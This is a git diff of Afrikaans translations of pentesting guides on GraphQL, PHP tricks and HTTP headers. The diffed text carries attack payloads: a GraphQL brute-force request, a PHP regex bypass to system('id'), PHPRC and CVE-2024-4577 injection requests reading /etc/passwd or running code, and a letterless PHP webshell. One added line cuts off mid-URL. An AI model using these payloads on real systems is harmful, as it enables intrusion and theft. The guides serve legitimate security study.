-In hierdie opstelling bevat 'n **databasis** **persone** en **flieks**. **Persone** word geïdentifiseer deur hul **e-pos** en **naam**; **flieks** deur hul **naam** en **gradering**. **Persone** kan vriende met mekaar wees en ook flieks hê, wat verhoudings binne die databasis aandui. +In hierdie opstelling bevat 'n **databasis** **persone** en **flieks**. **Persone** word geïdentifiseer deur hul **e-pos** en **naam**; **flieks** deur hul **naam** en **gradering**. **Persone** kan vriende met mekaar wees en het ook flieks, wat verhoudings binne die databasis aandui. -'n mutasie om **nuwe** flieks binne die databasis te skep kan soos die volgende een wees (in hierdie voorbeeld word die mutasie `addMovie` genoem): +'n mutasie om **nuwe** flieks binne die databasis te **skep** kan soos die volgende een wees (in hierdie voorbeeld word die mutasie `addMovie` genoem): ```javascript mutation { addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) { @@ -351,9 +351,9 @@ Soos ons kan sien uit die respons skermskoot, het die eerste en derde versoeke _ ## GraphQL Sonder Introspeksie -Al hoe meer **graphql eindpunte deaktiveer introspeksie**. Tog is die foute wat graphql gooi wanneer 'n onverwagte versoek ontvang word, genoeg vir gereedskap soos [**clairvoyance**](https://github.com/nikitastupin/clairvoyance) om die meeste van die skema te hercreëer. +Al hoe meer **graphql eindpunte deaktiveer introspeksie**. Tog is die foute wat graphql gooi wanneer 'n onverwagte versoek ontvang word, genoeg vir gereedskap soos [**clairvoyance**](https://github.com/nikitastupin/clairvoyance) om die meeste van die skema te herop te bou. -Boonop observeer die Burp Suite uitbreiding [**GraphQuail**](https://github.com/forcesunseen/graphquail) **GraphQL API versoeke wat deur Burp gaan** en **bou** 'n interne GraphQL **skema** met elke nuwe navraag wat dit sien. Dit kan ook die skema vir GraphiQL en Voyager blootstel. Die uitbreiding gee 'n vals respons wanneer dit 'n introspeksie navraag ontvang. As gevolg hiervan, wys GraphQuail al die navrae, argumente, en velde beskikbaar vir gebruik binne die API. Vir meer inligting [**kyk hier**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema). +Boonop, die Burp Suite uitbreiding [**GraphQuail**](https://github.com/forcesunseen/graphquail) uitbreiding **observeer GraphQL API versoeke wat deur Burp gaan** en **bou** 'n interne GraphQL **skema** met elke nuwe navraag wat dit sien. Dit kan ook die skema blootstel vir GraphiQL en Voyager. Die uitbreiding gee 'n vals respons wanneer dit 'n introspeksie navraag ontvang. As gevolg hiervan, wys GraphQuail al die navrae, argumente, en velde beskikbaar vir gebruik binne die API. Vir meer inligting [**kyk hier**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema). 'n Goeie **woordlys** om [**GraphQL entiteite te ontdek kan hier gevind word**](https://github.com/Escape-Technologies/graphql-wordlist?). @@ -455,21 +455,21 @@ Mutasie kan selfs lei tot rekening oorname deur te probeer om ander rekeningdata "query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}" } ``` -### Bypass autorisasie in GraphQL +### Oortreding van magtiging in GraphQL -[Die ketting van navrae](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln) saam kan 'n swak outentikasie-stelsel omseil. +[Die ketting van navrae](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln) kan 'n swak magtigingstelsel omseil. In die onderstaande voorbeeld kan jy sien dat die operasie "forgotPassword" is en dat dit slegs die forgotPassword-navraag wat daarmee geassosieer is, moet uitvoer. Dit kan omseil word deur 'n navraag aan die einde toe te voeg, in hierdie geval voeg ons "register" en 'n gebruikersvariabele by sodat die stelsel as 'n nuwe gebruiker geregistreer kan word.
-## Omseiling van Tariefbeperkings met behulp van Aliasse in GraphQL +## Oortreding van Tariefbeperkings met behulp van Aliasse in GraphQL -In GraphQL is aliasse 'n kragtige kenmerk wat die **benaming van eienskappe eksplisiet** toelaat wanneer 'n API-versoek gemaak word. Hierdie vermoë is veral nuttig om **meervoudige instansies van dieselfde tipe** objek binne 'n enkele versoek te verkry. Aliasse kan gebruik word om die beperking te oorkom wat voorkom dat GraphQL-objekte meervoudige eienskappe met dieselfde naam het. +In GraphQL is aliasse 'n kragtige kenmerk wat die **naamgewing van eienskappe eksplisiet** toelaat wanneer 'n API-versoek gemaak word. Hierdie vermoë is veral nuttig om **meervoudige instansies van dieselfde tipe** objek binne 'n enkele versoek te verkry. Aliasse kan gebruik word om die beperking te oorkom wat voorkom dat GraphQL-objekte verskeie eienskappe met dieselfde naam het. Vir 'n gedetailleerde begrip van GraphQL-aliasse, word die volgende hulpbron aanbeveel: [Aliasse](https://portswigger.net/web-security/graphql/what-is-graphql#aliases). -Terwyl die primêre doel van aliasse is om die noodsaaklikheid vir talle API-oproepe te verminder, is 'n onbedoelde gebruiksgeval geïdentifiseer waar aliasse benut kan word om brute force-aanvalle op 'n GraphQL-eindpunt uit te voer. Dit is moontlik omdat sommige eindpunte beskerm word deur tariefbeperkings wat ontwerp is om brute force-aanvalle te keer deur die **aantal HTTP-versoeke** te beperk. egter, hierdie tariefbeperkings mag nie rekening hou met die aantal operasies binne elke versoek nie. Aangesien aliasse die insluiting van meervoudige navrae in 'n enkele HTTP-versoek toelaat, kan hulle sulke tariefbeperkings omseil. +Terwyl die primêre doel van aliasse is om die noodsaaklikheid vir talle API-oproepe te verminder, is 'n onbedoelde gebruiksgeval geïdentifiseer waar aliasse benut kan word om brute force-aanvalle op 'n GraphQL-eindpunt uit te voer. Dit is moontlik omdat sommige eindpunte beskerm word deur tariefbeperkings wat ontwerp is om brute force-aanvalle te keer deur die **aantal HTTP-versoeke** te beperk. egter, hierdie tariefbeperkings mag nie rekening hou met die aantal operasies binne elke versoek nie. Aangesien aliasse die insluiting van verskeie navrae in 'n enkele HTTP-versoek toelaat, kan hulle sulke tariefbeperkings omseil. Oorweeg die voorbeeld hieronder, wat illustreer hoe gealiaseerde navrae gebruik kan word om die geldigheid van winkelafslagkode te verifieer. Hierdie metode kan tariefbeperkings omseil aangesien dit verskeie navrae in een HTTP-versoek saamstel, wat moontlik die verifikasie van verskeie afslagkode gelyktydig toelaat. ```bash @@ -501,7 +501,7 @@ Om dit te verminder, implementeer alias telling beperkings, navraag kompleksitei ### **Array-gebaseerde Navraag Groepering** -**Array-gebaseerde Navraag Groepering** is 'n kwesbaarheid waar 'n GraphQL API die groepering van verskeie navrae in 'n enkele versoek toelaat, wat 'n aanvaller in staat stel om 'n groot aantal navrae gelyktydig te stuur. Dit kan die agtergrond oorweldig deur al die gegroepeerde navrae gelyktydig uit te voer, wat oormatige hulpbronne (CPU, geheue, databasisverbindinge) verbruik en potensieel kan lei tot 'n **Denial of Service (DoS)**. As daar geen limiet op die aantal navrae in 'n groep is nie, kan 'n aanvaller dit benut om diens beskikbaarheid te verlaag. +**Array-gebaseerde Navraag Groepering** is 'n kwesbaarheid waar 'n GraphQL API die groepering van verskeie navrae in 'n enkele versoek toelaat, wat 'n aanvaller in staat stel om 'n groot aantal navrae gelyktydig te stuur. Dit kan die agtergrond oorweldig deur al die gegroepeerde navrae gelyktydig uit te voer, wat oormatige hulpbronne (CPU, geheue, databasisverbindinge) verbruik en moontlik kan lei tot 'n **Denial of Service (DoS)**. As daar geen limiet op die aantal navrae in 'n groep is nie, kan 'n aanvaller dit benut om diens beskikbaarheid te verlaag. ```graphql # Test provided by https://github.com/dolevf/graphql-cop curl -X POST -H "User-Agent: graphql-cop/1.13" \ @@ -509,11 +509,11 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" \ -d '[{"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}]' \ 'https://example.com/graphql' ``` -In hierdie voorbeeld word 10 verskillende navrae in een versoek saamgegroepeer, wat die bediener dwing om al hulle gelyktydig uit te voer. As dit met 'n groter groepgrootte of rekenaarintensiewe navrae uitgebuit word, kan dit die bediener oorlaai. +In hierdie voorbeeld word 10 verskillende navrae in een versoek gebundel, wat die bediener dwing om al hulle gelyktydig uit te voer. As dit met 'n groter bundelgrootte of rekenaarintensiewe navrae uitgebuit word, kan dit die bediener oorlaai. ### **Direktiewe Oorlaai Kwetsbaarheid** -**Direktiewe Oorlaai** vind plaas wanneer 'n GraphQL-bediener navrae met oormatige, gedupliseerde direktiewe toelaat. Dit kan die bediener se parser en eksekuteur oorweldig, veral as die bediener herhaaldelik dieselfde direktiewe logika verwerk. Sonder behoorlike validering of perke kan 'n aanvaller dit uitbuit deur 'n navraag te skep met talle gedupliseerde direktiewe om hoë rekenaar- of geheuegebruik te ontketen, wat lei tot **Denial of Service (DoS)**. +**Direktiewe Oorlaai** vind plaas wanneer 'n GraphQL-bediener navrae met oormatige, gedupliseerde direktiewe toelaat. Dit kan die bediener se parser en eksekuteur oorweldig, veral as die bediener herhaaldelik dieselfde direktiewe logika verwerk. Sonder behoorlike validering of perke kan 'n aanvaller dit uitbuit deur 'n navraag te skep met talle gedupliseerde direktiewe om hoë rekenaar- of geheuegebruik te ontlok, wat lei tot **Denial of Service (DoS)**. ```bash # Test provided by https://github.com/dolevf/graphql-cop curl -X POST -H "User-Agent: graphql-cop/1.13" \ @@ -539,7 +539,7 @@ En dan **gebruik sommige van die persoonlike** eenhede. ### **Veld Duplikasie Kwetsbaarheid** -**Veld Duplikasie** is 'n kwesbaarheid waar 'n GraphQL-bediener navrae toelaat met dieselfde veld wat oormatig herhaal word. Dit dwing die bediener om die veld oorbodig op te los vir elke instansie, wat beduidende hulpbronne (CPU, geheue en databasisoproepe) verbruik. 'n Aanvaller kan navrae saamstel met honderde of duisende herhaalde velde, wat 'n hoë las veroorsaak en moontlik kan lei tot 'n **Denial of Service (DoS)**. +**Veld Duplikasie** is 'n kwesbaarheid waar 'n GraphQL-bediener navrae toelaat met dieselfde veld wat oormatig herhaal word. Dit dwing die bediener om die veld oorbodig op te los vir elke instansie, wat beduidende hulpbronne (CPU, geheue, en databasisoproepe) verbruik. 'n Aanvaller kan navrae saamstel met honderde of duisende herhaalde velde, wat 'n hoë las veroorsaak en moontlik kan lei tot 'n **Denial of Service (DoS)**. ```bash # Test provided by https://github.com/dolevf/graphql-cop curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \ @@ -553,13 +553,13 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso - [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): Toets algemene miskonfigurasies van graphql eindpunte - [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): GraphQL sekuriteitsoudit skrip met 'n fokus op die uitvoering van batch GraphQL vrae en mutasies. - [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): Vingerafdruk die graphql wat gebruik word -- [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Gereedskap wat gebruik kan word om skemas te gryp en sensitiewe data te soek, outorisering te toets, brute force skemas, en paaie na 'n gegewe tipe te vind. +- [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Gereedskap wat gebruik kan word om skemas te gryp en sensitiewe data te soek, toelaatbaarheid te toets, brute force skemas, en paaie na 'n gegewe tipe te vind. - [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Kan as 'n standalone gebruik word of [Burp uitbreiding](https://github.com/doyensec/inql). -- [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Kan ook as 'n CLI kliënt gebruik word om aanvalle te outomatiseer +- [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Kan ook as 'n CLI kliënt gebruik word om aanvalle te outomatiseer: `python3 graphqlmap.py -u http://example.com/graphql --inject` - [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): Gereedskap wat die verskillende maniere lys om **'n gegewe tipe in 'n GraphQL skema te bereik**. - [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection): Die opvolger van Standalone en CLI Modus van InQL -- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Burp uitbreiding vir gevorderde GraphQL toetsing. Die _**Scanner**_ is die kern van InQL v5.0, waar jy 'n GraphQL eindpunt of 'n plaaslike introspeksie skema lêer kan analiseer. Dit genereer outomaties al moontlike vrae en mutasies, en organiseer dit in 'n gestruktureerde weergawe vir jou analise. Die _**Attacker**_ komponent laat jou toe om batch GraphQL aanvalle te voer, wat nuttig kan wees om swak geïmplementeerde koersbeperkings te omseil. -- [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): Probeer om die skema te kry selfs met introspeksie gedeaktiveer deur die hulp van sommige Graphql databasisse wat die name van mutasies en parameters sal voorstel. +- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Burp uitbreiding of python skrip vir gevorderde GraphQL toetsing. Die _**Scanner**_ is die kern van InQL v5.0, waar jy 'n GraphQL eindpunt of 'n plaaslike introspeksie skema lêer kan analiseer. Dit genereer outomaties al moontlike vrae en mutasies, en organiseer dit in 'n gestruktureerde weergawe vir jou analise. Die _**Attacker**_ komponent laat jou toe om batch GraphQL aanvalle uit te voer, wat nuttig kan wees om swak geïmplementeerde koerslimiete te omseil: `python3 inql.py -t http://example.com/graphql -o output.json` +- [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): Probeer om die skema te kry selfs met introspeksie gedeaktiveer deur die hulp van sommige Graphql databasisse te gebruik wat die name van mutasies en parameters sal voorstel. ### Kliënte @@ -572,16 +572,4 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso https://graphql-dashboard.herokuapp.com/ {{#endref}} -- Video wat AutoGraphQL verduidelik: [https://www.youtube.com/watch?v=JJmufWfVvyU](https://www.youtube.com/watch?v=JJmufWfVvyU) - -## Verwysings - -- [**https://jondow.eu/practical-graphql-attack-vectors/**](https://jondow.eu/practical-graphql-attack-vectors/) -- [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696) -- [**https://medium.com/@apkash8/graphql-vs-rest-api-model-common-security-test-cases-for-graphql-endpoints-5b723b1468b4**](https://medium.com/@apkash8/graphql-vs-rest-api-model-common-security-test-cases-for-graphql-endpoints-5b723b1468b4) -- [**http://ghostlulz.com/api-hacking-graphql/**](http://ghostlulz.com/api-hacking-graphql/) -- [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md) -- [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696) -- [**https://portswigger.net/web-security/graphql**](https://portswigger.net/web-security/graphql) - -{{#include ../../banners/hacktricks-training.md}} +- Video wat AutoGraphQL verduidelik: [https://www.youtube.com/watch?v=JJmufWfV diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md index 31eb7cd10..3231f7ac4 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md @@ -11,14 +11,14 @@ Koekies: PHPSESSID phpMyAdmin ``` -Liggings: +Ligginge: ``` /var/lib/php/sessions /var/lib/php5/ /tmp/ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e ``` -## Omseiling van PHP vergelykings +## Omseil van PHP vergelykings ### Los vergelykings/Tipe Juggling ( == ) @@ -113,14 +113,14 @@ Trick from: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf- In kort gebeur die probleem omdat die `preg_*` funksies in PHP op die [PCRE biblioteek](http://www.pcre.org/) bou. In PCRE word sekere gereelde uitdrukkings gematch deur 'n groot aantal rekursiewe oproepe te gebruik, wat baie stapelruimte gebruik. Dit is moontlik om 'n limiet op die aantal toegelate rekursies in te stel, maar in PHP is hierdie limiet [standaard op 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) wat meer is as wat in die stapel pas. [Hierdie Stackoverflow draad](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) is ook in die pos gekoppel waar daar meer in diepte oor hierdie probleem gepraat word. Ons taak was nou duidelik:\ -**Stuur 'n invoer wat die regex 100_000+ rekursies sal laat doen, wat SIGSEGV veroorsaak, wat die `preg_match()` funksie `false` laat teruggee, wat die aansoek laat dink dat ons invoer nie kwaadwillig is nie, en die verrassing aan die einde van die payload iets soos `{system()}` laat wees om SSTI --> RCE --> vlag :)**. +**Stuur 'n invoer wat die regex 100_000+ rekursies sal laat doen, wat SIGSEGV veroorsaak, wat die `preg_match()` funksie `false` laat teruggee, wat die aansoek laat dink dat ons invoer nie kwaadwillig is nie, en die verrassing aan die einde van die payload iets soos `{system()}` om SSTI --> RCE --> vlag :)**. Wel, in regex terme, doen ons nie eintlik 100k "rekursies" nie, maar eerder tel ons "terugspoel stappe", wat soos die [PHP dokumentasie](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) sê, standaard op 1_000_000 (1M) in die `pcre.backtrack_limit` veranderlike is.\ Om dit te bereik, sal `'X'*500_001` 1 miljoen terugspoel stappe (500k vorentoe en 500k agtertoe) oplewer: ```python payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}" ``` -### Tipe Juggling vir PHP obfuskerings +### Tipe Juggling vir PHP obfuskering ```php $obfs = "1"; //string "1" $obfs++; //int 2 @@ -131,9 +131,9 @@ $obfs = 3+2 * (TRUE + TRUE); //int 7 $obfs .= ""; //string "7" $obfs += ""; //int 7 ``` -## Voer Uit Na Hernoeming (EAR) +## Voer Uit Na Oorplasing (EAR) -As PHP na 'n ander bladsy herlei, maar geen **`die`** of **`exit`** funksie is **opgeroep nadat die koptekst `Location`** gestel is nie, gaan die PHP voort om uit te voer en voeg die data by die liggaam: +As PHP na 'n ander bladsy oorplaas, maar geen **`die`** of **`exit`** funksie is **opgeroep nadat die kop `Location`** gestel is nie, gaan die PHP voort om uit te voer en voeg die data by die liggaam: ```php ``` -## Pad Traversal en Lêer Insluiting Exploitatie +## Pad Traversal en Lêerinsluiting Exploitatie Kontroleer: @@ -155,9 +155,10 @@ Kontroleer: - **register_globals**: In **PHP < 4.1.1.1** of as verkeerd geconfigureer, kan **register_globals** aktief wees (of hul gedrag word nagebootst). Dit impliseer dat in globale veranderlikes soos $\_GET as hulle 'n waarde het bv. $\_GET\["param"]="1234", kan jy dit toegang via **$param. Daarom, deur HTTP parameters te stuur kan jy veranderlikes\*\* wat binne die kode gebruik word oorskryf. - Die **PHPSESSION koekies van dieselfde domein word in dieselfde plek gestoor**, daarom as binne 'n domein **verskillende koekies in verskillende paaie gebruik word** kan jy maak dat 'n pad **die koekie van die pad** toegang gee deur die waarde van die ander pad koekie in te stel.\ -Op hierdie manier, as **albei paaie toegang het tot 'n veranderlike met dieselfde naam** kan jy maak dat die **waarde van daardie veranderlike in pad1 op pad2 van toepassing is**. En dan sal pad2 die veranderlikes van pad1 as geldig neem (deur die koekie die naam te gee wat ooreenstem met dit in pad2). +Op hierdie manier, as **albei paaie toegang het tot 'n veranderlike met dieselfde naam** kan jy maak dat die **waarde van daardie veranderlike in pad1 op pad2 van toepassing is**. En dan sal pad2 die veranderlikes van pad1 as geldig beskou (deur die koekie die naam te gee wat ooreenstem met dit in pad2). - Wanneer jy die **gebruikersname** van die gebruikers van die masjien het. Kontroleer die adres: **/\~\** om te sien of die php directories geaktiveer is. -- [**LFI en RCE met behulp van php wrappers**](../../../pentesting-web/file-inclusion/index.html) +- As 'n php konfig **`register_argc_argv = On`** het, dan word query params geskei deur spasies gebruik om die array van argumente **`array_keys($_SERVER['argv'])`** te vul soos asof dit **argumente van die CLI** was. Dit is interessant omdat as daardie **instelling af is**, die waarde van die **args array sal `Null` wees** wanneer dit vanaf die web aangeroep word aangesien die ars arry nie gevul sal wees nie. Daarom, as 'n webblad probeer om te kontroleer of dit as 'n web of as 'n CLI tool loop met 'n vergelyking soos `if (empty($_SERVER['argv'])) {` kan 'n aanvaller **parameters in die GET versoek soos `?--configPath=/lalala`** stuur en dit sal dink dit loop as CLI en potensieel daardie argumente ontleed en gebruik. Meer info in die [original writeup](https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms). +- [**LFI en RCE met php wrappers**](../../../pentesting-web/file-inclusion/index.html) ### password_hash/password_verify @@ -174,7 +175,7 @@ True #### Fout veroorsaak na instel van headers -Van [**hierdie twitter draad**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) kan jy sien dat as meer as 1000 GET params of 1000 POST params of 20 lêers gestuur word, PHP nie headers in die antwoord gaan instel nie. +Van [**hierdie twitter draad**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) kan jy sien dat die sending van meer as 1000 GET params of 1000 POST params of 20 lêers, PHP nie headers in die antwoord gaan instel nie. Dit laat toe om byvoorbeeld CSP headers te omseil wat in kodes soos: ```php @@ -228,9 +229,9 @@ Hierdie funksie binne php laat jou toe om **kode wat in 'n string geskryf is uit ``` ?page=a','NeVeR') === false and system('ls') and strpos('a ``` -U sal die **kode** **sintaksis** moet **breek**, u **payload** moet **byvoeg**, en dit dan weer **regmaak**. U kan **logiese operasies** soos "**and" of "%26%26" of "|"** gebruik. Let daarop dat "or", "||" nie werk nie omdat as die eerste voorwaarde waar is, ons payload nie uitgevoer sal word nie. Dieselfde geld ";" wat nie werk nie omdat ons payload nie uitgevoer sal word nie. +U sal die **kode** **syntaksis** moet **breek**, u **payload** moet **byvoeg** en dit dan weer **regmaak**. U kan **logika-operasies** soos "**and" of "%26%26" of "|"** gebruik. Let daarop dat "or", "||" nie werk nie omdat as die eerste voorwaarde waar is, ons payload nie uitgevoer sal word nie. Dieselfde geld ";" werk nie omdat ons payload nie uitgevoer sal word nie. -**Ander opsie** is om die uitvoering van die opdrag by die string te voeg: `'.highlight_file('.passwd').'` +**Ander opsie** is om die uitvoering van die opdrag aan die string toe te voeg: `'.highlight_file('.passwd').'` **Ander opsie** (as u die interne kode het) is om 'n paar veranderlikes te wysig om die uitvoering te verander: `$file = "hola"` @@ -267,7 +268,7 @@ Om die aantal hakies wat u moet sluit te ontdek: ### **RCE via .httaccess** -As u 'n **.htaccess** kan **oplaai**, kan u verskeie dinge **konfigureer** en selfs kode uitvoer (om te konfigureer dat lêers met die uitbreiding .htaccess **uitgevoer** kan word). +As u 'n **.htaccess** kan **oplaai**, kan u verskeie dinge **konfigureer** en selfs kode uitvoer (om te konfigureer dat lêers met die uitbreiding .htaccess kan **uitgevoer** word). Verskillende .htaccess shells kan [hier](https://github.com/wireghoul/htshells) gevind word. @@ -277,11 +278,11 @@ As u 'n kwesbaarheid vind wat u toelaat om **omgewingsvariabeles in PHP** te **w - [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path): Hierdie omgewingsvariabele laat u toe om arbitrêre biblioteke te laai wanneer u ander binêre uitvoer (alhoewel dit in hierdie geval dalk nie sal werk nie). - **`PHPRC`** : Gee PHP instruksies oor **waar om sy konfigurasielêer te vind**, wat gewoonlik `php.ini` genoem word. As u u eie konfigurasielêer kan oplaai, gebruik dan `PHPRC` om PHP daarop te wys. Voeg 'n **`auto_prepend_file`** inskrywing by wat 'n tweede opgelaaide lêer spesifiseer. Hierdie tweede lêer bevat normale **PHP kode, wat dan** deur die PHP runtime uitgevoer word voordat enige ander kode. -1. Laai 'n PHP-lêer op wat ons shellcode bevat -2. Laai 'n tweede lêer op, wat 'n **`auto_prepend_file`** riglyn bevat wat die PHP preprocessor instrueer om die lêer wat ons in stap 1 opgelaai het, uit te voer +1. Laai 'n PHP-lêer op wat ons shellcode bevat. +2. Laai 'n tweede lêer op, wat 'n **`auto_prepend_file`** riglyn bevat wat die PHP voorverwerker instrueer om die lêer wat ons in stap 1 opgelaai het, uit te voer. 3. Stel die `PHPRC` variabele in op die lêer wat ons in stap 2 opgelaai het. - Kry meer inligting oor hoe om hierdie ketting uit te voer [**uit die oorspronklike verslag**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/). -- **PHPRC** - 'n ander opsie +- **PHPRC** - 'n ander opsie. - As u **nie lêers kan oplaai nie**, kan u in FreeBSD die "lêer" `/dev/fd/0` gebruik wat die **`stdin`** bevat, wat die **liggaam** van die versoek is wat na die `stdin` gestuur is: - `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'` - Of om RCE te verkry, stel **`allow_url_include`** in en voeg 'n lêer met **base64 PHP kode** voor: @@ -290,11 +291,11 @@ As u 'n kwesbaarheid vind wat u toelaat om **omgewingsvariabeles in PHP** te **w ### XAMPP CGI RCE - CVE-2024-4577 -Die webbediener ontleed HTTP versoeke en stuur dit na 'n PHP-skrip wat 'n versoek uitvoer soos [`http://host/cgi.php?foo=bar`](http://host/cgi.php?foo=bar&ref=labs.watchtowr.com) as `php.exe cgi.php foo=bar`, wat 'n parameterinjeksie toelaat. Dit sal toelaat om die volgende parameters in te spuit om die PHP-kode uit die liggaam te laai: +Die webbediener ontleed HTTP versoeke en stuur dit na 'n PHP-skrip wat 'n versoek uitvoer soos [`http://host/cgi.php?foo=bar`](http://host/cgi.php?foo=bar&ref=labs.watchtowr.com) as `php.exe cgi.php foo=bar`, wat 'n parameterinjeksie toelaat. Dit sal toelaat om die volgende parameters in te voeg om die PHP-kode uit die liggaam te laai: ```jsx -d allow_url_include=1 -d auto_prepend_file=php://input ``` -Boonop, dit is moontlik om die "-" parameter in te voeg met die 0xAD karakter as gevolg van latere normalisering van PHP. Kyk na die eksploit voorbeeld van [**hierdie pos**](https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/): +Boonop, dit is moontlik om die "-" parameter te injekteer met die 0xAD karakter as gevolg van latere normalisering van PHP. Kyk na die eksploit voorbeeld van [**hierdie pos**](https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/): ```jsx POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1 Host: {{host}} @@ -324,7 +325,7 @@ exec, shell_exec, system, passthru, eval, popen unserialize, include, file_put_cotents $_COOKIE | if #This mea ``` -As jy 'n PHP-toepassing debugeer, kan jy globaal foutdrukking aktiveer in `/etc/php5/apache2/php.ini` deur `display_errors = On` by te voeg en apache te herbegin: `sudo systemctl restart apache2` +As jy 'n PHP-toepassing debugeer, kan jy globaal foutdrukking inskakel in `/etc/php5/apache2/php.ini` deur `display_errors = On` by te voeg en apache te herbegin: `sudo systemctl restart apache2` ### Deobfuskerende PHP-kode @@ -352,7 +353,7 @@ echo "$x ${Da}"; //Da Drums ``` ## RCE wat nuwe $\_GET\["a"]\($\_GET\["b") misbruik -As jy op 'n bladsy **'n nuwe objek van 'n arbitrêre klas kan skep**, mag jy in staat wees om RCE te verkry, kyk na die volgende bladsy om te leer hoe: +As jy op 'n bladsy **n nuwe objek van 'n arbitrêre klas** kan **skep**, mag jy in staat wees om RCE te verkry, kyk na die volgende bladsy om te leer hoe: {{#ref}} php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md @@ -382,14 +383,14 @@ ${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]); $_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]); ``` -So, as jy **arbitraire PHP kan uitvoer sonder nommers en letters** kan jy 'n versoek stuur soos die volgende wat daardie payload misbruik om arbitraire PHP uit te voer: +So, as jy kan **arbitraire PHP uitvoer sonder nommers en letters** kan jy 'n versoek stuur soos die volgende wat daardie payload misbruik om arbitraire PHP uit te voer: ``` POST: /action.php?_=system&__=cat+flag.php Content-Type: application/x-www-form-urlencoded comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); ``` -Vir 'n meer diepgaande verduideliking, kyk na [https://ctf-wiki.org/web/php/php/#preg_match](https://ctf-wiki.org/web/php/php/#preg_match) +Vir 'n meer diepgaande verduideliking, kyk [https://ctf-wiki.org/web/php/php/#preg_match](https://ctf-wiki.org/web/php/php/#preg_match) ### XOR Shellcode (binne eval) ```bash diff --git a/src/network-services-pentesting/pentesting-web/special-http-headers.md b/src/network-services-pentesting/pentesting-web/special-http-headers.md index 6abc0ef8d..f9f46d7d7 100644 --- a/src/network-services-pentesting/pentesting-web/special-http-headers.md +++ b/src/network-services-pentesting/pentesting-web/special-http-headers.md @@ -1,4 +1,4 @@ -# Spesiale HTTP koptekste +# Spesiale HTTP koppe {{#include ../../banners/hacktricks-training.md}} @@ -7,7 +7,7 @@ - [https://github.com/danielmiessler/SecLists/tree/master/Miscellaneous/Web/http-request-headers](https://github.com/danielmiessler/SecLists/tree/master/Miscellaneous/Web/http-request-headers) - [https://github.com/rfc-st/humble](https://github.com/rfc-st/humble) -## Koptekste om Ligging te Verander +## Koppe om Ligging te Verander Herskryf **IP bron**: @@ -26,16 +26,16 @@ Herskryf **IP bron**: - `True-Client-IP: 127.0.0.1` - `Cluster-Client-IP: 127.0.0.1` - `Via: 1.0 fred, 1.1 127.0.0.1` -- `Connection: close, 